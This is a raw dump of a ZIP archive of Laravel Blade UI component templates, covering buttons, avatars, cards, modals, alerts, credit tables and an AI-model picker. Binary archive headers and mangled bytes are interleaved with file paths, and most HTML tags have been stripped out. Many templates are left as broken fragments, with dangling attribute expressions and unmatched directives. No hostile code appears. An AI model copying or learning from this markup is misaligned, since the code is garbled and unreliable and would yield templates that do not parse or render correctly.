'md' => 'lqd-btn-md py-2 px-4', 'lg' => 'lqd-btn-lg px-5 py-3', 'xl' => 'lqd-btn-xl px-5 py-4', ], ]; if ($variant === 'link') { $size = 'none'; } $variant = isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant'][Theme::getSetting('defaultVariations.button.variant', 'primary')]; $hoverVariant = isset($variations['hoverVariant'][$hoverVariant]) ? $variations['hoverVariant'][$hoverVariant] : $variations['hoverVariant'][Theme::getSetting('defaultVariations.button.hoverVariant', 'none')]; $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size'][Theme::getSetting('defaultVariations.button.size', 'md')]; if ($tag === 'button' && empty($type)) { $type = 'button'; } if ($type === 'button' && (empty($tag) || $tag === 'a')) { $tag = 'button'; } if ($type === 'submit') { $tag = 'button'; } @endphp <{{ $tag }} {{ $attributes->withoutTwMergeClasses()->twMerge($base_class, $variant, $size, $hoverVariant, $attributes->get('class')) }} @if ($tag === 'a') href="{{ $href }}" @else type="{{ $type }}" @endif {{ $attributes }} > {{ $slot }} PKJW]]ÇÅnÍÍ)views/default/components/avatar.blade.phpnu„[µü¤@php $base_class = 'lqd-avatar inline-flex items-center justify-center rounded-full w-10 h-10 bg-heading-background/10 text-heading-foreground text-2xl bg-cover bg-center'; $avatar = $user->avatar; $user_has_avatar_img = $avatar != null; if (strpos($avatar, 'http') === false || strpos($avatar, 'https') === false) { $avatar = '/' . $avatar; } @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} @style([ 'background-image: url(' . custom_theme_url($avatar) . ')' => $user_has_avatar_img, ])> @if (!$user_has_avatar_img) {{ str()->substr($user->name, 0, 1) . str()->substr($user->surname, 0, 1) }} @endif PKJW]×ÛÆ1ÈÈ0views/default/components/demo-switcher.blade.phpnu„[µü¤@if(config('app.demo_switcher_enabled') && $app_is_not_demo)
    @endif PKJW]4ÙKË668views/default/components/alerts/payment-status.blade.phpnu„[µü¤@props([ 'paymentStatus' => null, ]) @if($paymentStatus) class(['mt-1 w-full py-2.5'])->merge(['variant' => $paymentStatus === 'paid' ? 'success' : 'danger']) }}>

    {{ \App\Helpers\Classes\Helper::marketplacePaymentMessage($paymentStatus) }}

    @endifPKJW]5;Ržž.views/default/components/bottom-menu.blade.phpnu„[µü¤ PKJW]™îBÈvv9views/default/components/number-with-plus-minus.blade.phpnu„[µü¤@php $base_class="inline-flex items-center leading-none text-base font-semibold px-1.5 py-0.5 leading-snug rounded-md" @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> {{ $value }} PKJW]T¬A€dd3views/default/components/product-ids-list.blade.phpnu„[µü¤@if($gatewayProducts && $gatewayProducts->isNotEmpty())

    {{ __('These values are generated for you') }}

    {{ __('Gateway') }} {{ __('Product ID') }} {{ __('Plan / Price ID') }} @foreach ($gatewayProducts as $product) {{ $product->gateway_title }} {{ $product->product_id }} {{ $product->price_id }} @endforeach
    @endif PKJW]3!ðù¡¡2views/default/components/money-with-unit.blade.phpnu„[µü¤@php $base_class = 'flex min-h-7 min-w-7 items-center justify-center rounded-full bg-foreground/[6%] px-2 text-center text-foreground/70 text-sm font-medium'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> @if (is_string($value)) {{ $value }} @else {{ $value > 1000 ? floatval($value / 1000) . 'k' : $value }} @endif PKJW]û¤ƒU;U;*views/default/components/curtain.blade.phpnu„[µü¤@props([ 'items' => [], ]) @php $nav_btn_base_class = 'relative inline-grid size-10 place-items-center rounded-full bg-primary-foreground/5 text-primary-foreground transition-all hover:scale-110 hover:bg-primary-foreground hover:text-primary'; $nav_dot_base_class = ' hover:scale-110inline-flex size-2.5 rounded-full bg-primary-foreground/5 transition-all hover:scale-110 hover:bg-primary-foreground/70 [&.active]:w-[18px] [&.active]:bg-primary-foreground'; $unique_id = uniqid('curtain'); @endphp
    withoutTwMergeClasses()->twMerge('lqd-curtain flex flex-col justify-between gap-5 lg:flex-row') }} style="--items-count: {{ count($items) }}" x-data="curtain('{{ $unique_id }}')" > @foreach ($items as $item) @php $firstSlide = $item['sliders'][0] ?? null; $firstSlideBgColor = isset($firstSlide['bg_color']) && filled($firstSlide['bg_color']) ? $firstSlide['bg_color'] : 'hsl(var(--primary))'; @endphp
    twMergeFor('item', ['lqd-curtain-item relative overflow-hidden flex flex-col rounded-xl lg:flex-row', $loop->first ? 'lqd-curtain-item-active' : 'lqd-curtain-item-inactive']) }} @if (count($item['sliders']) > 1) x-data="slideshow('{{ $unique_id }}',{{ count($item['sliders']) }})" @endif @if ($firstSlideBgColor) style="background: {{ $firstSlideBgColor }}" @endif >

    twMergeFor('title', ['lqd-curtain-item-title relative z-1 m-0 flex overflow-hidden px-8 py-8 text-[22px] text-white lg:order-3 lg:px-11 lg:py-9 xl:px-14', !isset($item['title']) || !filled($item['title']) ?? 'lqd-curtain-item-title-empty']) }}> @if (isset($item['title_icon']) && filled($item['title_icon'])) {!! $item['title_icon'] !!} @endif @if (isset($item['title']) && filled($item['title'])) {!! $item['title'] !!} @endif

    @if (isset($item['sliders']) && filled($item['sliders']))
    twMergeFor('content', 'lqd-curtain-item-content flex items-end') }}>
    twMergeFor('content-inner', 'lqd-curtain-item-content-inner grow p-6 lg:p-11') }}>
    @foreach ($item['sliders'] as $slide) @php $bg_color = isset($slide['bg_color']) && filled($slide['bg_color']) ? $slide['bg_color'] : 'hsl(var(--primary))'; $bg_image = isset($slide['bg_image']) && filled($slide['bg_image']) ? $slide['bg_image'] : ''; $bg_video = isset($slide['bg_video']) && filled($slide['bg_video']) ? $slide['bg_video'] : ''; $title_color = isset($slide['title_color']) && filled($slide['title_color']) ? $slide['title_color'] : 'hsl(var(--primary-foreground))'; $description_color = isset($slide['description_color']) && filled($slide['description_color']) ? $slide['description_color'] : 'hsl(var(--primary-foreground) / 60%)'; @endphp
    twMergeFor('bg', 'lqd-curtain-item-bg transition-all duration-500 ease-in-out pointer-events-none absolute inset-0 z-0 rounded-xl') }} style="background: {{ $bg_color }}" @if (!$loop->first) x-cloak @endif @if (count($item['sliders']) > 1) x-show="$data.activeSlide === {{ $loop->index }}" x-transition:enter-start="opacity-0 scale-110 blur-3xl" x-transition:enter-end="opacity-100 scale-100 blur-0" x-transition:leave-start="opacity-100 scale-100 blur-0" x-transition:leave-end="opacity-0 scale-110 blur-3xl" @endif > @if (isset($slide['bg_video']) && filled($slide['bg_video'])) @endif @if (isset($slide['bg_image']) && filled($slide['bg_image'])) @endif
    @if (isset($slide['title']) && filled($slide['title']))

    first) x-cloak @endif @if (count($item['sliders']) > 1) x-show="$data.activeSlide === {{ $loop->index }}"" x-transition:enter="delay-100" x-transition:enter-start="opacity-0 -translate-y-2" x-transition:enter-end="opacity-100 translate-y-0" x-transition:leave-start="opacity-100 translate-y-0" x-transition:leave-end="opacity-0 translate-y-2" @endif > {!! $slide['title'] !!}

    @endif @if (isset($slide['description']) && filled($slide['description']))

    first) x-cloak @endif @if (count($item['sliders']) > 1) x-show="$data.activeSlide === {{ $loop->index }}"" x-transition:enter="delay-200" x-transition:enter-start="opacity-0 -translate-y-2" x-transition:enter-end="opacity-100 translate-y-0" x-transition:leave-start="opacity-100 translate-y-0" x-transition:leave-end="opacity-0 translate-y-2" @endif > {!! $slide['description'] !!}

    @endif @endforeach @if (count($item['sliders']) > 1)
    @foreach ($item['sliders'] as $slide) @endforeach
    @endif
    @endif
    @endforeach
    PKJW]ÏíAS‘‘'views/default/components/card.blade.phpnu„[µü¤@php $base_class = 'lqd-card text-card-foreground bg-card-background w-full transition-all group/card'; $head_base_class = 'lqd-card-head border-b border-card-border px-6 py-3.5 relative transition-border'; $body_base_class = 'lqd-card-body relative only:grow'; $foot_base_class = 'lqd-card-foot border-t border-card-border relative transition-border'; $variations = [ 'variant' => [ 'none' => 'lqd-card-variant-none', 'solid' => 'lqd-card-solid rounded-card', 'outline' => 'lqd-card-outline border border-card-border rounded-card', 'shadow' => 'lqd-card-shadow rounded-card', 'outline-shadow' => 'lqd-card-outline-shadow border border-card-border rounded-card', ], 'size' => [ 'none' => 'lqd-card-size-none', 'xs' => 'lqd-card-xs px-5 py-3', 'sm' => 'lqd-card-sm p-4', 'md' => 'lqd-card-md py-5 px-7', 'lg' => 'lqd-card-lg py-8 px-10', ], ]; $variant = isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant'][Theme::getSetting('defaultVariations.card.variant', 'outline')]; $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size'][Theme::getSetting('defaultVariations.card.size', 'md')]; @endphp
    withoutTwMergeClasses()->twMerge($base_class, $variant, $attributes->get('class')) }}> @if (!empty($head))
    twMergeFor('head', $head_base_class, $head->attributes->get('class')) }}> {{ $head }}
    @endif
    twMergeFor('body', $body_base_class, $size) }}> {{ $slot }}
    @if (!empty($foot))
    twMergeFor('foot', $foot_base_class, $foot->attributes->get('class')) }}> {{ $foot }}
    @endif
    PKJW]ÌmQ§OO&views/default/components/box.blade.phpnu„[µü¤
    @if (!empty($icon))
    {{ $icon }}
    @endif @if (!empty($image))
    {{ $image }}
    @endif

    {!! $title !!} @if (!empty($badge)) {{ $badge }} @endif

    @if (!empty($desc))

    {!! $desc !!}

    @endif
    PKJW]JõYÏ””,views/default/components/color-box.blade.phpnu„[µü¤ 'text-[#CBA153] bg-[#CBA153] bg-opacity-[0.07] hover:shadow-[#cba15326]', 'purple' => 'text-[#AB7FE6] bg-[#AB7FE6] bg-opacity-[0.07] hover:shadow-[#ab7fe621]', 'teal' => 'text-[#57CBC6] bg-[#57CBC6] bg-opacity-[0.07] hover:shadow-[#57cbc624]', 'blue' => 'text-[#7F8FE6] bg-[#7F8FE6] bg-opacity-[0.07] hover:shadow-[#7f8fe624]', 'green' => 'text-[#6BAC65] bg-[#6BAC65] bg-opacity-[0.07] hover:shadow-[#6bac6524]', 'red' => 'text-[#EF793A] bg-[#EF793A] bg-opacity-[0.07] hover:shadow-[#ef793a1f]', ]; if ( !empty( $color ) && isset( $color_variants[$color] ) ) { array_push( $wrapper_classnames, $color_variants[$color] ); } ?>

    {{$title}}

    PKJW]ÞG8òÎÎ/views/default/components/info-tooltip.blade.phpnu„[µü¤@php $base_class = 'lqd-tooltip-container group relative inline-flex cursor-default before:absolute before:-start-1.5 before:-top-1.5 before:h-7 before:w-7 [&:hover>.lqd-tooltip-content]:visible [&:hover>.lqd-tooltip-content]:translate-y-0 [&:hover>.lqd-tooltip-content]:opacity-100'; $content_class = 'lqd-tooltip-content min-w-64 invisible absolute start-1/2 z-50 mb-3 -translate-x-1/2 rounded-xl bg-background/80 px-4 py-3 text-center text-xs leading-normal text-foreground opacity-0 shadow-lg shadow-black/5 backdrop-blur-sm backdrop-saturate-150 transition-all before:absolute before:inset-x-0 before:h-3'; if ($anchor === 'bottom') { $content_class .= ' bottom-full translate-y-1 before:-top-3'; } elseif ($anchor === 'top') { $content_class .= ' top-full -translate-y-1 before:-bottom-3'; } @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> twMergeFor('icon', 'lqd-tooltip-icon opacity-40') }}> twMergeFor('content', $content_class) }}> {{ $text }} @if ($drivers->isNotEmpty())
    {{ __('Credits Details') }}

    @foreach ($drivers as $driver) @if (!$driver->hasCreditBalance()) @continue @endif
    {{ $driver->enum()->value }} {{ $driver->isUnlimitedCredit() ? __('Unlimited') : $driver->creditBalance() }}
    @endforeach
    @endif
    PKJW]RˆŠHH,views/default/components/form-step.blade.phpnu„[µü¤@php $base_class = 'lqd-form-step flex items-center gap-3 rounded-xl bg-primary/5 px-4 py-3 text-sm font-semibold dark:bg-primary/10'; $step_base_class = 'lqd-form-step-num inline-flex size-6 shrink-0 items-center justify-center rounded-full bg-primary text-sm text-primary-foreground'; @endphp

    withoutTwMergeClasses()->twMerge($base_class) }} {{ $attributes }} > @if ($step != '') twMergeFor('step', $step_base_class) }}> {{ $step }} @endif {{ $label }} {{ $slot }}

    PKJW]j€øaMM)views/default/components/header.blade.phpnu„[µü¤
    !$attributes->get('layout-wide'), 'container-fluid' => $attributes->get('layout-wide'), Theme::getSetting('wideLayoutPaddingX', '') => filled(Theme::getSetting('wideLayoutPaddingX', '')) && $attributes->get('layout-wide'), ])> {{-- Mobile nav toggle and logo --}} {{-- Title slot --}} @if ($title ?? false) @endif @includeFirst(['focus-mode::header', 'components.includes.ai-tools', 'vendor.empty']) {{-- Search form --}}
    {{-- Action buttons --}} @if ($actions ?? false) {{ $actions }} @else
    @if (Auth::user()->isAdmin()) @if ($app_is_not_demo) @endif {{ __('Admin Panel') }} @endif @if ($settings_two->liquid_license_type == 'Extended License' && $app_is_demo) @if ($subscription = getSubscription()) {{ $subscription?->plan?->name }} - {{ getSubscriptionDaysLeft() }} {{ __('Days Left') }} @else {{ __('No Active Subscription') }} @endif {{ __('Upgrade') }} @endif
    @endif
    @includeIf('marketing-bot::header.inbox-notification') @includeIf('chatbot-agent::header.inbox-notification') {{-- Dark/light switch --}} @if (Theme::getSetting('dashboard.supportedColorSchemes') === 'all') @endif @includeFirst(['focus-mode::ai-tools-button', 'components.includes.ai-tools-button', 'vendor.empty']) @if ($app_is_not_demo && Auth::user()->isAdmin() && !\App\Helpers\Classes\Helper::showIntercomForVipMembership()) {{-- Upgrade button --}} @includeIf('premium-support.index') @endif @if (setting('notification_active', 0)) {{-- Notifications --}} @endif {{-- Language dropdown --}} @if (count(explode(',', $settings_two->languages)) > 1) @endif {{-- User menu --}}
    PKJW]µŸ@gg3views/default/components/modal-new/button.blade.phpnu„[µü¤ PKJW]¯kàff2views/default/components/modal-new/index.blade.phpnu„[µü¤@props([ 'id' => null, 'maxWidth' => 'sm', 'title' => null, 'triggerAs' => 'button', 'description' => null, 'icon' => null, 'buttons' => null, 'focusable' => false, 'cancelAttributes' => [], 'showCancelButton' => false, 'cancelButtonText' => __('Cancel'), 'dismiss' => true, 'noCancelClick' => false, 'inlineButtons' => false, ]) @php $hasWireModel = $attributes->has('wire:model.live'); $id = $id ?? md5($hasWireModel ? $attributes->wire('model') : $title ?? $description); $maxWidth = [ 'sm' => 'sm:max-w-sm', 'md' => 'sm:max-w-md', 'lg' => 'sm:max-w-lg', 'xl' => 'sm:max-w-xl', '2xl' => 'sm:max-w-2xl', ][$maxWidth ?? '2xl']; if ($showCancelButton || $dismiss) { $cancelAttributes = new \Illuminate\View\ComponentAttributeBag($noCancelClick ? $cancelAttributes : array_merge(['@click' => 'closeModal'], $cancelAttributes)); } @endphp
    except('wire:model.live')->merge() }}> @isset($trigger) @if ($triggerAs === 'button') {!! $trigger !!} @else attributes->merge([ '@click' => 'openModal', ]) }}>{!! $trigger !!} @endif @endisset
    PKJW]h&vú——+views/default/components/lqd-icon.blade.phpnu„[µü¤@php $base_class = 'lqd-icon flex items-center justify-center shrink-0 relative shadow-xs rounded-full transition-all bg-primary text-primary-foreground [&_svg]:max-w-full [&_svg]:h-auto'; $original_size = $size; $variations = [ 'size' => [ 'none' => 'lqd-icon-size-none', 'sm' => 'lqd-icon-sm size-7', 'md' => 'lqd-icon-md size-9', 'lg' => 'lqd-icon-lg size-10', 'xl' => 'lqd-icon-xl size-11', ], ]; $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size']['md']; @endphp withoutTwMergeClasses()->twMerge($base_class, $size, $attributes->get('class')) }}> {{ $slot }} @if ($activeBadge) $original_size !== 'sm' && $original_size !== 'xs', 'size-2.5' => $original_size === 'sm' || $original_size === 'xs', 'bg-green-500' => $activeBadgeCondition, 'bg-red-500' => !$activeBadgeCondition, ])> @endif PKJW]ì\zÜ  2views/default/components/favorite-button.blade.phpnu„[µü¤@php $base_class = 'lqd-fav-btn z-10 size-9'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} size="none" variant="ghost-shadow" x-data="{ isFavorite: {{ $isFavorite ? 'true' : 'false' }} }" @click.prevent="$ajax('{{ $updateUrl }}', { method: 'post', body: { _token: '{{ csrf_token() }}', id: {{ $id }} }, events: true, })" @ajax:missing="$event.preventDefault()" @ajax:after="isFavorite = !isFavorite; $dispatch('favorite-toggled', { id: {{ $id }}, isFavorite: isFavorite })" href="#" title="{{ __('Favorite') }}" > PKJW]HpÏïZZ;views/default/components/team-credit-list-partial.blade.phpnu„[µü¤ @foreach ($categories as $key => $model) @php $userTeam = (isset($team) && $team->exists) ? $team : auth()?->user()?->myTeam; $drivers = $model->forTeam($userTeam)->list(); $groupName = $drivers->isNotEmpty() ? $drivers->first()->enum()->subLabel() : ''; $isUnlimited = $model->checkIfThereUnlimited(); $credits = $model->totalCredits(); $tooltip_anchor = $loop->index < 4 ? 'top' : 'bottom'; @endphp @if (!$isUnlimited && $credits <= 0) @continue @endif @endforeach
    {{ __('Model') }} {{ __('Credits') }}
    {{ $groupName }} {{ $isUnlimited ? __('Unlimited') : $credits }}
    PKJW]Îã'views/default/components/warn.blade.phpnu„[µü¤ [ 'sm' => 'lqd-legend-sm size-2', 'sm' => 'lqd-legend-sm size-2', 'md' => 'lqd-legend-md size-2.5', ], ]; $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size']['md']; @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> twMergeFor('box', $size, $box_base_class) }}> twMergeFor('label', $label_base_class) }}> {{ $label }} {{ $slot }}
    PKJW]j~æ7zz.views/default/components/text-reveal.blade.phpnu„[µü¤@props([ 'start' => 'top bottom', 'end' => 'center 65%', 'animateFrom' => [ 'opacity' => 0.2, ], 'animateTo' => [ 'opacity' => 1, ], ]) {{ $slot }} PKJW]a|—D··(views/default/components/alert.blade.phpnu„[µü¤@php $base_class = 'lqd-alert border border-input-border bg-input-background flex gap-2 font-medium [&_:first-child]:mt-0 [&_:last-child]:mb-0'; $icon_base_class = 'lqd-alert-icon size-5 shrink-0'; $variations = [ 'variant' => [ 'info' => 'lqd-alert-info shadow-sm text-blue-600', 'warn' => 'lqd-alert-warn shadow-sm text-orange-600', 'danger' => 'lqd-alert-danger shadow-sm text-red-600 dark:text-red-500', 'success' => 'lqd-alert-danger shadow-sm text-green-600', 'info-fill' => 'lqd-alert-info bg-blue-700/10 text-blue-800 border-none', 'warn-fill' => 'lqd-alert-warn bg-yellow-700/10 text-yellow-900 border-none dark:bg-yellow-300/10 dark:text-yellow-500', 'danger-fill' => 'lqd-alert-danger bg-red-700/10 text-red-900 border-none', 'success-fill' => 'lqd-alert-success bg-green-700/10 text-green-800 border-none', ], 'size' => [ 'none' => 'lqd-alert-size-none', 'sm' => 'lqd-alert-sm p-2 rounded-md', 'md' => 'lqd-alert-md px-5 py-1.5 rounded-lg', 'lg' => 'lqd-alert-lg p-6 rounded-xl', ], ]; $variant = isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant']['info']; $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size']['md']; @endphp
    merge(['class' => $base_class . ' ' . $variant . ' ' . $size]) }} --}} {{ $attributes->withoutTwMergeClasses()->twMerge($base_class, $variant, $size) }} {{ $attributes }} > @if (filled($icon)) withoutTwMergeClasses()->twMergeFor('icon', $icon_base_class) }} /> @endif
    {{ $slot }}
    PKJW]ê½6”Û$Û$4views/default/components/plan-details-card.blade.phpnu„[µü¤@php use App\Enums\Plan\TypeEnum; $isPrepaid = $plan->type === TypeEnum::TOKEN_PACK->value; $check_html = ''; if ($style === 'style-2') { $check_html = ' '; } elseif ($style === 'style-3') { $check_html = ''; } @endphp
    • $style === 'style-1', ])> {!! $check_html !!} {{ __('Access') }} {{ $isPrepaid ? __('All') : __($plan->checkOpenAiItemCount()) }} {{ __('Features') }}
    • $style === 'style-1', ])> {!! $check_html !!} @lang('Plan Credits')
    • @if ($plan->is_team_plan)
    • $style === 'style-1', ])> {!! $check_html !!} {{ number_format($plan->plan_allow_seat) }} {{ __('Team allow seats') }}
    • @endif @if ($plan->trial_days > 0)
    • $style === 'style-1', ])> {!! $check_html !!} {{ number_format($plan->trial_days) . ' ' . __('Days of free trial.') }}
    • @endif @if (!empty($plan->features)) @foreach (explode(',', $plan->features) as $feature)
    • $style === 'style-1', ])> {!! $check_html !!} {{ trim(__($feature)) }}
    • @endforeach @endif
    PKJW]ñŸ§7bb.views/default/components/icon-picker.blade.phpnu„[µü¤
    PKJW]äîÒMyy6views/default/components/credit-list-partial.blade.phpnu„[µü¤ @foreach ($categories as $key => $model) @php if (isset($plan) && $plan->exists) { $drivers = $model->forPlan($plan)->list(); } else { $drivers = $model->forUser(auth()->user())->list(); } $groupName = $drivers->isNotEmpty() ? $drivers->first()->enum()->subLabel() : ''; $isUnlimited = $model->checkIfThereUnlimited(); $credits = $model->totalCredits(); $tooltip_anchor = $loop->index < 4 ? 'top' : 'bottom'; @endphp @if (!$isUnlimited && $credits <= 0) @continue @endif @endforeach
    {{ __('Model') }} {{ __('Credits') }}
    {{ $groupName }} {{ $isUnlimited ? __('Unlimited') : $credits }}
    PKJW]XŠ„¥¥1views/default/components/number-counter.blade.phpnu„[µü¤@php $base_class = 'lqd-number-counter inline-flex h-[1lh] leading-none'; $value_class = 'lqd-number-counter-value inline-flex h-full'; @endphp @props([ 'value' => 0, 'options' => [], 'dynamicValueListener' => false, ]) withoutTwMergeClasses()->twMerge($base_class) }}> twMergeFor('value', $value_class) }} x-data="numberCounter({ value: '{{ $value }}', options: {{ json_encode($options) }} })" @if ($dynamicValueListener) @dynamic-value-{{ $dynamicValueListener }}.window="updateValue($event.detail)" @endif > {{ preg_replace('/\d/', '0', $value) }} PKJW]™¹²kk/views/default/components/tabs-trigger.blade.phpnu„[µü¤ PKJW]Åq  3views/default/components/change-indicator.blade.phpnu„[µü¤ $value == 0, 'text-red-700 bg-red-700/10 dark:bg-red-600/10 dark:text-red-600' => $value < 0, 'text-green-600 bg-green-500/10' => $value > 0, ])> {{ $value }}% PKJW]p uniqid(''), 'position' => 'br', // br, bl, tr, tl 'width' => '680px', 'height' => '180px', 'roundness' => '12px', 'x' => '0px', 'y' => '0px', 'skew' => '0deg', 'extendedCorner' => [], ]) @php $base_classname = "lqd-cutout cutout-{$elId} lqd-cutout-1 lqd-cutout-{$position} pointer-events-none hidden lg:block"; @endphp @push('css') @endpush
    withoutTwMergeClasses()->twMerge($base_classname) }} >
    @if (filled($extendedCorner)) @endif @if ((int) $x === 0) @endif (int) $x === 0, 'lqd-cutout-mask-circle-be' => (int) $x !== 0, ]) cx="50" cy="50" r="50" fill="white" mask="url(#lqd-cutout-mask-circle-{{ (int) $x === 0 ? 'te' : 'be' }}-{{ $elId }})" > @if (filled($extendedCorner)) @endif
    PKJW]¨A(i330views/default/components/favorite-icon.blade.phpnu„[µü¤@php $base_class = 'lqd-favorite-icon flex items-center justify-center w-4 h-4 group'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} > PKJW]0views/default/components/header-search.blade.phpnu„[µü¤PKJW]ó–)d0d0?views/default/components/select-ai-model-list-un-auth.blade.phpnu„[µü¤@php use App\Domains\Engine\Enums\EngineEnum; use App\Domains\Entity\Enums\EntityEnum; use App\Domains\Entity\Models\Entity; use App\Domains\Entity\Facades\Entity as EntityFacade; use App\Helpers\Classes\MarketplaceHelper; use App\Extensions\OpenRouter\System\Enums\OpenRouterEngine; // Initialize default engine and model $defaultEngineSlug = setting('default_ai_engine', EngineEnum::OPEN_AI->slug()); $defaultEngine = EngineEnum::fromSlug($defaultEngineSlug); $defaultModel = $defaultEngine?->getDefaultWordModel($setting); // Get all selected models with word tokens $selectedModels = Entity::where('is_selected', true) ->whereHas('tokens', function ($query) { $query->where('type', 'word'); }) ->get() ->filter(function ($model) { return !empty($model->key); }) ->pluck('key') ->toArray(); // Initialize OpenRouter models if registered $openRouterModels = []; if (MarketplaceHelper::isRegistered('open-router')) { try { $openRouterModels = OpenRouterEngine::cases(); } catch (\Exception $e) { \Log::warning('Failed to load OpenRouter models: ' . $e->getMessage()); $openRouterModels = []; } } // Merge all models and ensure uniqueness $fullModels = collect() ->when($defaultModel, fn($collection) => $collection->push($defaultModel)) ->merge($selectedModels) ->merge($openRouterModels) ->filter() // Remove null/empty values ->unique('value') ->values(); // Initialize selected model driver $selectedModel = null; if ($defaultModel?->value) { try { $entityEnum = EntityEnum::tryFrom($defaultModel->value); $selectedModel = $entityEnum ? EntityFacade::driver($entityEnum) : null; } catch (\Exception $e) { \Log::warning('Failed to initialize selected model driver: ' . $e->getMessage()); $selectedModel = null; } } // Fallback if no selected model if (!$selectedModel && $fullModels->isNotEmpty()) { try { $firstModel = EntityEnum::tryFrom($fullModels->first()?->value); $selectedModel = $firstModel ? EntityFacade::driver($firstModel) : null; } catch (\Exception $e) { $selectedModel = null; } } // Check authentication status $isAuthenticated = auth()->check(); // Pre-load model drivers to avoid N+1 queries in the loop $modelDrivers = collect(); foreach ($fullModels as $model) { try { $entityEnum = EntityEnum::fromSlug($model?->value); if ($entityEnum) { $driver = EntityFacade::driver($entityEnum); $modelDrivers->put($model->value, $driver); } } catch (\Exception $e) { \Log::warning("Failed to load driver for model {$model?->value}: " . $e->getMessage()); } } @endphp
    @lang('AI Model: ') {{ Str::limit($selectedModel?->model()?->selected_title ?? $selectedModel?->enum()?->value ?? __('Default Model'), 20) }}

    @lang('AI Models')

    @lang('Choose the AI model that best suits your needs.')

    @forelse ($fullModels as $engine) @php $modelEnum = EntityEnum::fromSlug($engine?->value); $driver = $modelDrivers->get($engine?->value); $isDefaultModel = $modelEnum?->value === $defaultModel?->value; $modelTitle = $driver?->model()?->selected_title ?? $modelEnum?->value ?? __('Unknown Model'); $isAccessible = $isDefaultModel || $isAuthenticated; @endphp !$isAccessible, ]) variant="outline-shadow" @click.prevent="updateSelectedModels({ value: $el.getAttribute('data-model-value'), label: $el.getAttribute('data-model-label') })" ::data-selected="isModelSelected($el.getAttribute('data-model-value'))" x-show="searchString === '' || $el.getAttribute('data-model-label').toLowerCase().includes(searchString.toLowerCase())" >

    @lang('Words')

    @if($isDefaultModel) @lang('Free') @elseif(!$isAuthenticated) @lang('Login Required') @else @lang('Unlimited Credits') @endif

    {{ $modelTitle }}

    @if(!$isAccessible && !$isDefaultModel)

    @lang('Login required to access this model')

    @endif
    @empty

    @lang('No AI models available')

    @endforelse
    @foreach ($fullModels as $model) @php $modelEnum = EntityEnum::fromSlug($model?->value); $driver = $modelDrivers->get($model?->value); $label = $driver?->model()?->selected_title ?? $modelEnum?->value ?? __('Unknown Model'); @endphp @endforeach {{ __('Apply') }}
    PKJW]ñä-::(views/default/components/modal.blade.phpnu„[µü¤@php $base_class = 'lqd-modal lqd-modal-' . $type . ' relative'; $modal_base_class = 'lqd-modal-modal z-[999] flex items-center justify-center overflow-y-auto overscroll-contain'; $modal_backdrop_base_class = 'lqd-modal-backdrop fixed inset-0 bg-black/5 backdrop-blur-sm'; $modal_head_base_class = 'lqd-modal-head flex flex-wrap items-center gap-3 border-b px-4 py-2 relative'; $modal_body_base_class = 'lqd-modal-body p-10'; $modal_content_base_class = 'lqd-modal-content relative z-[100] max-h-[95vh] min-w-[min(calc(100%-2rem),540px)] overflow-y-auto overscroll-contain rounded-xl bg-background shadow-2xl shadow-black/10'; $modal_close_btn_base_class = 'lqd-modal-close size-8 ms-auto inline-flex items-center justify-center rounded-lg transition-all hover:bg-foreground/20'; if ($type !== 'inline') { $modal_base_class .= ' fixed inset-0'; } else { $modal_base_class .= ' hidden fixed max-md:inset-0 md:absolute top-full min-w-[min(calc(100vw-2rem),450px)] mt-3'; if ($anchor === 'start') { $modal_base_class .= ' start-0'; } else { $modal_base_class .= ' end-0'; } } if ($type === 'page') { $modal_base_class .= ' '; $modal_content_base_class .= ' max-h-screen bg-transparent shadow-none w-[clamp(100%,1440px,90vw)]'; $modal_head_base_class .= ' border-none p-0 w-[clamp(100%,1440px,90vw)]'; $modal_body_base_class .= ' py-24 px-0'; $modal_close_btn_base_class .= ' absolute top-11 end-0 lg:end-11 bg-background text-heading-foreground size-14 rounded-full hover:bg-background hover:scale-110'; } @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} x-data="{ modalOpen: false, toggleModal() { @if ($disableModal) toastr.info( '{{ $disableModalMessage }}' ) @else this.modalOpen = !this.modalOpen @endif } }" :class="{ 'modal-open': modalOpen }" > @if (!empty($trigger)) @if ($trigger->attributes['custom'] ?? false) {{ $trigger }} @else {{ $trigger }} @endif @endif @if (!empty($modal) && !$disableModal) @if ($type !== 'inline') @endif @endif
    PKJW]â*ñ773views/default/components/progressive-blur.blade.phpnu„[µü¤@props([ 'base_val' => 1, 'dir' => null, ])
    twMerge('lqd-progressive-blur-container overflow-hidden absolute top-0 left-0 right-0 bottom-0 pointer-events-none') }} style="--dir-y:{{ $dir === 'reverse' ? '1' : '-1' }}; --base-val:{{ $base_val }}" > @for ($i = 0; $i < 7; $i++)
    @endfor
